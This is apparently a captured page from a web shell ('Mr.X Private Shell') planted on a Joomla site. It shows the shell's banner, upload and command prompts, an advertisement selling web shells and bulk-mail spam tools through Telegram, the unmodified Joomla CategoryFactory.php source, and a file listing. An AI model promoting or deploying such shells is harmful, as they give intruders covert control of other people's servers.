__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
<?php

/**
 * Joomla! Content Management System
 *
 * @copyright  (C) 2018 Open Source Matters, Inc. <https://www.joomla.org>
 * @license    GNU General Public License version 2 or later; see LICENSE.txt
 */

namespace Joomla\CMS\Categories;

use Joomla\Database\DatabaseAwareInterface;
use Joomla\Database\DatabaseAwareTrait;

// phpcs:disable PSR1.Files.SideEffects
\defined('_JEXEC') or die;
// phpcs:enable PSR1.Files.SideEffects

/**
 * Option based categories factory.
 *
 * @since  3.10.0
 */
class CategoryFactory implements CategoryFactoryInterface
{
    use DatabaseAwareTrait;

    /**
     * The namespace to create the categories from.
     *
     * @var    string
     * @since  4.0.0
     */
    private $namespace;

    /**
     * The namespace must be like:
     * Joomla\Component\Content
     *
     * @param   string  $namespace  The namespace
     *
     * @since   4.0.0
     */
    public function __construct($namespace)
    {
        $this->namespace = $namespace;
    }

    /**
     * Creates a category.
     *
     * @param   array   $options  The options
     * @param   string  $section  The section
     *
     * @return  CategoryInterface
     *
     * @since   3.10.0
     *
     * @throws  SectionNotFoundException
     */
    public function createCategory(array $options = [], string $section = ''): CategoryInterface
    {
        $className = trim($this->namespace, '\\') . '\\Site\\Service\\' . ucfirst($section) . 'Category';

        if (!class_exists($className)) {
            throw new SectionNotFoundException();
        }

        $category = new $className($options);

        if ($category instanceof DatabaseAwareInterface) {
            $category->setDatabase($this->getDatabase());
        }

        return $category;
    }
}

Filemanager

Name Type Size Permission Actions
Categories.php File 14.68 KB 0664
CategoryFactory.php File 1.74 KB 0664
CategoryFactoryInterface.php File 807 B 0664
CategoryInterface.php File 879 B 0664
CategoryNode.php File 10.86 KB 0664
CategoryServiceInterface.php File 1.38 KB 0664
CategoryServiceTrait.php File 2.96 KB 0664
SectionNotFoundException.php File 497 B 0664
Filemanager